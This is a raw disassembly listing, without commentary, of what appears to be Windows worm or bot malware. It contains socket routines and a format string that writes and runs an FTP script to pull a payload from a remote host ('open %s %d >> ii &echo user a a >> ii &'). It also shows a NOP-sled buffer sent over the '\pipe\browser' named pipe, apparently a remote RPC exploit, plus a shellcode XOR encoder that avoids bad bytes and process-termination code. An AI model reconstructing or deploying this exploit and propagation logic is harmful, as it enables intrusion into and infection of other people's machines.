pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E26: ; CODE XREF: ___:00425E18j
lea eax, [esp+0Ch]
push 10h
push eax
push ebx
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_425E45
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E45: ; CODE XREF: ___:00425E37j
mov edi, dword_511CA0
push 0
push 89h
push offset dword_445FC8
push ebx
call edi
cmp eax, 0FFFFFFFFh
jnz short loc_425E6B
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E6B: ; CODE XREF: ___:00425E5Dj
mov esi, dword_511CA4
push 0
lea ecx, [esp+20h]
push 640h
push ecx
push ebx
call esi
push 0
push 0A8h
push offset dword_446054
push ebx
call edi
cmp eax, 0FFFFFFFFh
jnz short loc_425EA0
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425EA0: ; CODE XREF: ___:00425E92j
push 0
lea edx, [esp+20h]
push 640h
push edx
push ebx
call esi
push 0
push 0DEh
push offset dword_446100
push ebx
call edi
cmp eax, 0FFFFFFFFh
jnz short loc_425ECF
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425ECF: ; CODE XREF: ___:00425EC1j
push 0
lea eax, [esp+20h]
push 640h
push eax
push ebx
call esi
movsx eax, byte ptr [esp+60h]
sub eax, 30h
jz short loc_425EFB
dec eax
jz short loc_425EF7
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425EF7: ; CODE XREF: ___:00425EE9j
push 0
jmp short loc_425F2E
; ---------------------------------------------------------------------------
loc_425EFB: ; CODE XREF: ___:00425EE6j
push 2
push ebx
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+724h]
mov edi, esp
rep movsd
movsw
call sub_40180C
add esp, 0C4h
test al, al
jz short loc_425F2C
mov esi, 1
jmp short loc_425F5A
; ---------------------------------------------------------------------------
loc_425F2C: ; CODE XREF: ___:00425F23j
push 1
loc_425F2E: ; CODE XREF: ___:00425EF9j
push ebx
mov ecx, 2Eh
sub esp, 0BCh
lea esi, [esp+724h]
mov edi, esp
rep movsd
movsw
call sub_40180C
add esp, 0C4h
neg al
sbb eax, eax
neg eax
mov esi, eax
loc_425F5A: ; CODE XREF: ___:00425F2Aj
push ebx
nop
call near ptr 71AB9639h
test esi, esi
jz short loc_425F88
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+71Ch]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_425F88: ; CODE XREF: ___:00425F63j
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426020: ; CODE XREF: ___:00401E51j
push edi
push 0C8h
nop
call near ptr 2831CE8h
mov edx, [esp+0Ch]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
mov eax, [esp+8]
push 0
not ecx
dec ecx
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
pop edi
setnz al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426070 proc near ; CODE XREF: sub_401A55j
var_5A0 = dword ptr -5A0h
var_59C = dword ptr -59Ch
var_598 = dword ptr -598h
var_594 = dword ptr -594h
var_590 = byte ptr -590h
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_BC = dword ptr 0C0h
sub esp, 5A0h
xor eax, eax
push ebx
mov [esp+5A4h+var_5A0], eax
push ebp
mov [esp+5A8h+var_59C], eax
push esi
lea ecx, [esp+5ACh+arg_4]
push edi
mov [esp+5B0h+var_598], eax
push ecx
mov [esp+5B4h+var_594], eax
mov word ptr [esp+5B4h+var_5A0], 2
nop
call near ptr 71AB2BF4h
mov edx, [esp+5B0h+arg_BC]
mov [esp+5B0h+var_59C], eax
push edx
nop
call near ptr 71AB2B66h
push 0
push 1
push 2
mov word ptr [esp+5BCh+var_5A0+2], ax
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4260D8
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4260D8: ; CODE XREF: sub_426070+59j
lea eax, [esp+5B0h+var_5A0]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_4260F8
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4260F8: ; CODE XREF: sub_426070+79j
push 0
lea ecx, [esp+5B4h+var_400]
push 400h
push ecx
push esi
nop
call near ptr 71AB615Ah
mov ecx, offset byte_449521
call sub_4017EE
push eax
mov ecx, offset byte_449521
call sub_4017EE
mov edx, dword_44965F
push eax
mov eax, [esp+5B8h+arg_0]
push edx
push eax
call sub_401E10
mov ebx, dword_511AE4
add esp, 4
lea ecx, [esp+5BCh+var_590]
push eax
push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"...
push 190h
push ecx
call ebx
lea edi, [esp+5CCh+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 1Ch
repne scasb
mov ebp, dword_511CA0
push 0
not ecx
dec ecx
lea edx, [esp+5B4h+var_590]
push ecx
push edx
push esi
call ebp
cmp eax, 0FFFFFFFFh
jnz short loc_426187
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_426187: ; CODE XREF: sub_426070+108j
push 1F4h
call near ptr 2831CE8h
nop
mov ecx, offset byte_449521
call sub_4017EE
push eax
push offset aS_3 ; "%s\r\n"
lea eax, [esp+5B8h+var_590]
push 190h
push eax
call ebx
lea edi, [esp+5C0h+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
lea ecx, [esp+5B8h+var_590]
push ecx
push esi
call ebp
cmp eax, 0FFFFFFFFh
jnz short loc_4261DC
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4261DC: ; CODE XREF: sub_426070+15Dj
push 0
lea edx, [esp+5B4h+var_400]
push 400h
push edx
push esi
call near ptr 71AB615Ah
nop
push esi
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 5A0h
retn
sub_426070 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426280: ; CODE XREF: ___:00402199j
mov eax, 1E88h
call sub_437B30
push esi
push edi
mov ecx, 20Ch
xor eax, eax
lea edi, [esp+238h]
mov esi, offset dword_4469C4
rep stosd
mov ecx, 0FAh
mov eax, 90909090h
lea edi, [esp+0A68h]
mov edx, dword_51011C
rep stosd
mov ecx, 56h
lea edi, [esp+0CDEh]
rep movsd
mov eax, dword_446C3C
mov ecx, 10h
movsw
movsb
lea edi, [esp+0E50h]
mov esi, offset dword_446974
rep stosd
mov eax, dword_446C34
mov ecx, 0Bh
lea edi, [esp+238h]
rep movsd
mov ecx, 10Ah
lea esi, [esp+0A68h]
lea edi, [esp+270h]
mov [esp+264h], eax
mov [esp+268h], edx
mov [esp+26Ch], eax
rep movsd
mov ecx, 7
mov esi, offset dword_4469A4
lea edi, [esp+69Ch]
mov ax, word_446C30
mov [esp+698h], edx
lea edx, [esp+30h]
rep movsd
mov esi, dword_511AE4
lea ecx, [esp+1E98h]
push ecx
push offset dword_446910
push 104h
push edx
mov [esp+6BCh], ax
call esi
add esp, 10h
xor edi, edi
lea ecx, [esp+10h]
lea eax, [esp+30h]
push edi
push offset byte_448F40
push offset byte_448F40
push ecx
mov [esp+24h], edi
mov [esp+30h], edi
mov [esp+3Ch], edi
mov [esp+34h], eax
call sub_4382AA
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_4263A5
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_4263A5: ; CODE XREF: ___:00426397j
lea edx, [esp+1E98h]
lea eax, [esp+134h]
push edx
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push 104h
push eax
call esi
add esp, 10h
lea ecx, [esp+134h]
push edi
push edi
push 3
push edi
push edi
push 0C0000000h
push ecx
nop
call near ptr 286033Ah
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4263EF
or eax, eax
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_4263EF: ; CODE XREF: ___:004263E2j
lea edx, [esp+0Ch]
push edi
push edx
lea eax, [esp+0E98h]
push 1000h
push eax
push 49h
push offset dword_446928
push esi
call near ptr 2780000h
nop
test eax, eax
jnz short loc_426427
push esi
call near ptr 284070Bh
nop
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_426427: ; CODE XREF: ___:00426412j
lea ecx, [esp+8]
push edi
push ecx
lea edx, [esp+240h]
push 830h
push edx
push esi
nop
call near ptr 27E0000h
test eax, eax
jnz short loc_426458
push esi
call near ptr 284070Bh
nop
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_426458: ; CODE XREF: ___:00426443j
push 115Ch
mov ecx, 2Eh
sub esp, 0BCh
lea esi, [esp+1F54h]
mov edi, esp
rep movsd
movsw
call sub_401A55
add esp, 0C0h
neg al
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
db 90h
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426520 proc near ; CODE XREF: sub_4013CAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [esp+4+arg_0]
not ecx
dec ecx
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
pop edi
lea eax, [ecx+edx*2+0C1h]
retn
sub_426520 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426560 proc near ; CODE XREF: sub_401794j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_8]
push esi
mov esi, [esp+8+arg_C]
push esi
push ebx
call sub_4013CA
mov ecx, [esp+10h+arg_4]
add esp, 8
cmp eax, ecx
mov [esp+8+arg_8], eax
jbe short loc_426585
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426585: ; CODE XREF: sub_426560+1Ej
push ebp
push edi
or ecx, 0FFFFFFFFh
mov edi, ebx
xor eax, eax
mov ebp, [esp+10h+arg_0]
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov esi, offset dword_446C74
mov eax, ecx
mov edi, ebp
lea ecx, [eax+edx+12h]
mov dword_446CD8, ecx
lea ecx, [eax+1]
mov dword_446CF9, ecx
lea ecx, [eax+17h]
mov dword_446CF1, ecx
mov ecx, 0FFFFFFEDh
sub ecx, eax
mov dword_446D07, ecx
mov ecx, 1Dh
rep movsd
mov ecx, edx
mov esi, ebx
mov ebx, ecx
lea edi, [ebp+74h]
shr ecx, 2
rep movsd
mov ecx, ebx
add edx, 74h
and ecx, 3
rep movsb
mov esi, dword_446CE8
lea ecx, [edx+ebp]
add edx, 5
mov [ecx], esi
mov bl, byte_446CEC
mov esi, [esp+10h+arg_C]
lea edi, [edx+ebp]
mov [ecx+4], bl
mov ecx, eax
mov ebx, ecx
add edx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov esi, dword_446CED
lea ecx, [edx+ebp]
add edx, 10h
mov [ecx], esi
mov esi, dword_446CF1
lea edi, [edx+ebp]
mov [ecx+4], esi
mov esi, dword_446CF5
mov [ecx+8], esi
mov esi, dword_446CF9
mov [ecx+0Ch], esi
mov esi, [esp+10h+arg_C]
mov ecx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [edx+eax]
mov eax, [esp+10h+arg_8]
add edi, ebp
mov ecx, 0Eh
mov esi, offset byte_446CFD
rep movsd
pop edi
pop ebp
pop esi
pop ebx
retn
sub_426560 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4266D0 proc near ; CODE XREF: sub_402180j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4013CA
push eax
call sub_4017C6
add esp, 0Ch
retn
sub_4266D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426700: ; CODE XREF: ___:0040173Fj
push ebx
mov ebx, [esp+10h]
push ebp
push edi
mov edi, [esp+1Ch]
push edi
push ebx
call sub_402180
mov ebp, [esp+1Ch]
add esp, 8
cmp eax, ebp
jbe short loc_426723
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426723: ; CODE XREF: ___:0042671Bj
cmp eax, 0FFFFh
jbe short loc_426730
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426730: ; CODE XREF: ___:00426728j
push esi
push edi
push ebx
call sub_4013CA
add eax, 101h
push eax
nop
call near ptr 77C2C407h
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_4013CA
add esp, 8
push eax
push esi
call sub_401794
push eax
mov eax, [esp+28h]
push esi
push ebp
push eax
call sub_401B8B
push esi
mov edi, eax
nop
call near ptr 77C2C21Bh
add esp, 24h
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4267A0 proc near ; CODE XREF: sub_4017C6j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_4267A9
inc ecx
loc_4267A9: ; CODE XREF: sub_4267A0+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_4267A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4267D0 proc near ; CODE XREF: sub_401B8Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_C]
cmp bl, 0Ah
jz short loc_4267E8
cmp bl, 0Dh
jz short loc_4267E8
cmp bl, 5Ch
jz short loc_4267E8
test bl, bl
jnz short loc_4267E9
loc_4267E8: ; CODE XREF: sub_4267D0+8j
; sub_4267D0+Dj ...
inc ebx
loc_4267E9: ; CODE XREF: sub_4267D0+16j
cmp ebx, 0FFh
jbe short loc_42680C
mov eax, ebx
shr eax, 8
cmp al, 0Ah
jz short loc_426806
cmp al, 0Dh
jz short loc_426806
cmp al, 5Ch
jz short loc_426806
test al, al
jnz short loc_42680C
loc_426806: ; CODE XREF: sub_4267D0+28j
; sub_4267D0+2Cj ...
add ebx, 100h
loc_42680C: ; CODE XREF: sub_4267D0+1Fj
; sub_4267D0+34j
push ebx
call sub_4017C6
mov ecx, [esp+8+arg_4]
add esp, 4
cmp eax, ecx
mov [esp+4+arg_C], eax
jbe short loc_426825
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426825: ; CODE XREF: sub_4267D0+4Fj
cmp eax, 0FFFFh
jbe short loc_426830
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426830: ; CODE XREF: sub_4267D0+5Aj
mov al, byte_510124
xor edx, edx
push ebp
mov ebp, [esp+8+arg_8]
test ebx, ebx
push esi
jbe short loc_426860
loc_426841: ; CODE XREF: sub_4267D0+8Ej
mov cl, [edx+ebp]
xor cl, al
jz short loc_426857
cmp cl, 0Ah
jz short loc_426857
cmp cl, 0Dh
jz short loc_426857
cmp cl, 5Ch
jnz short loc_42685B
loc_426857: ; CODE XREF: sub_4267D0+76j
; sub_4267D0+7Bj ...
inc al
xor edx, edx
loc_42685B: ; CODE XREF: sub_4267D0+85j
inc edx
cmp edx, ebx
jb short loc_426841
loc_426860: ; CODE XREF: sub_4267D0+6Fj
cmp ebx, 0FFh
push edi
mov byte_510124, al
ja short loc_426893
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_446C5C
mov edi, edx
mov byte_446C69, bl
mov byte_446C6D, al
rep movsd
movsb
mov esi, 15h
jmp short loc_4268B9
; ---------------------------------------------------------------------------
loc_426893: ; CODE XREF: sub_4267D0+9Cj
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_446C44
mov edi, edx
mov word_446C52, bx
mov byte_446C57, al
rep movsd
movsw
movsb
mov esi, 17h
loc_4268B9: ; CODE XREF: sub_4267D0+C1j
xor ecx, ecx
pop edi
test ebx, ebx
jbe short loc_4268CF
add esi, edx
loc_4268C2: ; CODE XREF: sub_4267D0+FDj
mov dl, [ecx+ebp]
xor dl, al
mov [esi+ecx], dl
inc ecx
cmp ecx, ebx
jb short loc_4268C2
loc_4268CF: ; CODE XREF: sub_4267D0+EEj
mov eax, [esp+0Ch+arg_C]
pop esi
pop ebp
pop ebx
retn
sub_4267D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426930 proc near ; CODE XREF: sub_401E3Dj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
xor ecx, ecx
lea eax, [eax+eax*2]
mov dword_44B1AF[eax*4], ecx
mov dword_44B19B[eax*4], ecx
mov dword_44B19F[eax*4], ecx
mov dword_44B1A3[eax*4], ecx
mov dword_44B1A7[eax*4], ecx
mov dword_44B1AB[eax*4], ecx
mov byte_44AF9B[eax*4], cl
mov byte_44B1B3[eax*4], cl
retn
sub_426930 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4269A0 proc near ; CODE XREF: sub_401370j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp ecx, ebx
jle loc_426A57
cmp ecx, 400h
jge loc_426A57
lea eax, [ecx+ecx*2]
push esi
shl eax, 4
sub eax, ecx
push edi
push ebx
lea esi, [eax+eax*2]
mov eax, dword_44B1AF[esi*4]
push eax
call near ptr 2770C56h
nop
cmp dword_44B1AF[esi*4], ebx
jz short loc_4269E8
mov ebp, 1
loc_4269E8: ; CODE XREF: sub_4269A0+41j
mov dword_44B1AF[esi*4], ebx
mov dword_44B19B[esi*4], ebx
mov dword_44B19F[esi*4], ebx
mov eax, dword_44B1A3[esi*4]
cmp eax, ebx
jbe short loc_426A11
push eax
call sub_401C80
add esp, 4
loc_426A11: ; CODE XREF: sub_4269A0+66j
mov edi, dword_511C9C
mov dword_44B1A3[esi*4], ebx
mov byte_44AF9B[esi*4], bl
mov byte_44B1B3[esi*4], bl
mov ecx, dword_44B1A7[esi*4]
push ecx
call edi
mov dword_44B1A7[esi*4], ebx
mov edx, dword_44B1AB[esi*4]
lea esi, ds:44B1ABh[esi*4]
push edx
call edi
mov [esi], ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426A57: ; CODE XREF: sub_4269A0+Cj
; sub_4269A0+18j
mov eax, ebp
pop ebp
pop ebx
retn
sub_4269A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426A90 proc near ; CODE XREF: sub_401DA7j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push ebp
push esi
push edi
xor ebp, ebp
xor edi, edi
mov esi, offset dword_44B19F
loc_426AA1: ; CODE XREF: sub_426A90+52j
mov eax, [esp+10h+arg_0]
mov ecx, [esi-4]
cmp ecx, eax
jnz short loc_426AD5
test ebx, ebx
jle short loc_426AC7
cmp [esi], ebx
jz short loc_426AB8
cmp edi, ebx
jnz short loc_426AD5
loc_426AB8: ; CODE XREF: sub_426A90+22j
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_426AD5
jmp short loc_426AD4
; ---------------------------------------------------------------------------
loc_426AC7: ; CODE XREF: sub_426A90+1Ej
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_426AD5
loc_426AD4: ; CODE XREF: sub_426A90+35j
inc ebp
loc_426AD5: ; CODE XREF: sub_426A90+1Aj
; sub_426A90+26j ...
add esi, 234h
inc edi
cmp esi, offset byte_4D819F
jl short loc_426AA1
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_426A90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B10 proc near ; CODE XREF: sub_401C80j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
push eax
push 0
push 1F0FFFh
mov edi, 1
nop
call near ptr 2700000h
mov esi, eax
test esi, esi
jz short loc_426B45
push 0
push esi
nop
call near ptr 2790349h
test eax, eax
jnz short loc_426B45
push esi
xor edi, edi
nop
call near ptr 284070Bh
loc_426B45: ; CODE XREF: sub_426B10+1Dj
; sub_426B10+2Aj
mov eax, edi
pop edi
pop esi
retn
sub_426B10 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B60 proc near ; CODE XREF: sub_40148Dj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
xor eax, eax
mov ecx, offset dword_44B19B
loc_426B6B: ; CODE XREF: sub_426B60+1Cj
cmp [ecx], edx
jnz short loc_426B70
inc eax
loc_426B70: ; CODE XREF: sub_426B60+Dj
add ecx, 234h
cmp ecx, offset byte_4D819B
jl short loc_426B6B
retn
sub_426B60 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B90 proc near ; CODE XREF: sub_401DA2j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
push esi
xor esi, esi
xor eax, eax
mov ecx, offset dword_44B19B
loc_426B9E: ; CODE XREF: sub_426B90+1Fj
cmp [ecx], edx
jz short loc_426BB3
add ecx, 234h
inc eax
cmp ecx, offset byte_4D819B
jl short loc_426B9E
mov eax, esi
loc_426BB3: ; CODE XREF: sub_426B90+10j
pop esi
retn
sub_426B90 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426BD0 proc near ; CODE XREF: sub_401BEAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset byte_44AF9B
loc_426BD8: ; CODE XREF: sub_426BD0+18j
cmp byte ptr [eax], 0
jz short loc_426BEE
add eax, 234h
inc edi
cmp eax, offset dword_4D7F9B
jl short loc_426BD8
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
loc_426BEE: ; CODE XREF: sub_426BD0+Bj
lea eax, [edi+edi*2]
push esi
shl eax, 4
sub eax, edi
push 1FFh
lea eax, [eax+eax*2]
lea esi, ds:44AF9Bh[eax*4]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
nop
call near ptr 77C47A90h
mov ecx, [esp+14h+arg_4]
mov edx, [esp+14h+arg_8]
mov [esi+200h], ecx
mov dword ptr [esi+204h], 0
add esp, 0Ch
mov dword ptr [esi+208h], 0
mov [esi+20Ch], edx
mov byte ptr [esi+218h], 0
mov eax, edi
pop esi
pop edi
retn
sub_426BD0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426C70 proc near ; CODE XREF: sub_401613j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426C70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 7
push 0Eh
push 9
push 10h
push 4Fh
push 13h
push 0Fh
mov esi, ecx
push 4
lea eax, [esp+68h+var_3C]
push 4
push eax
mov dword ptr [esi+118h], 0
mov byte ptr [esi+11Ch], 0
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_426C70 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 4
push 15h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+28h]
push 4
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea ecx, [esp+28h]
push 4
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea eax, [esp+2Ch]
push 4
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+0EAh]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+48h]
push 4
push edx
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 8Eh
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426EC0: ; CODE XREF: ___:loc_401B81j
push 0FFFFFFFFh
push offset loc_43C9C4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
push esi
mov esi, [esp+50h]
mov ebx, ecx
push edi
lea ebp, [esi+7Eh]
lea ecx, [ebx+60h]
mov [esp+54h], ebp
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
mov edi, dword_511B14
test eax, eax
jnz loc_427058
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
xor ebp, ebp
cmp eax, ebp
mov [esp+4Ch], ebp
jz short loc_426F2B
mov ecx, eax
call sub_401DF2
mov ebp, eax
loc_426F2B: ; CODE XREF: ___:00426F20j
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 1
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 2
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 3
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 4
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea ecx, [esi+69h]
push ecx
lea ecx, [ebp+26h]
call sub_401FDC
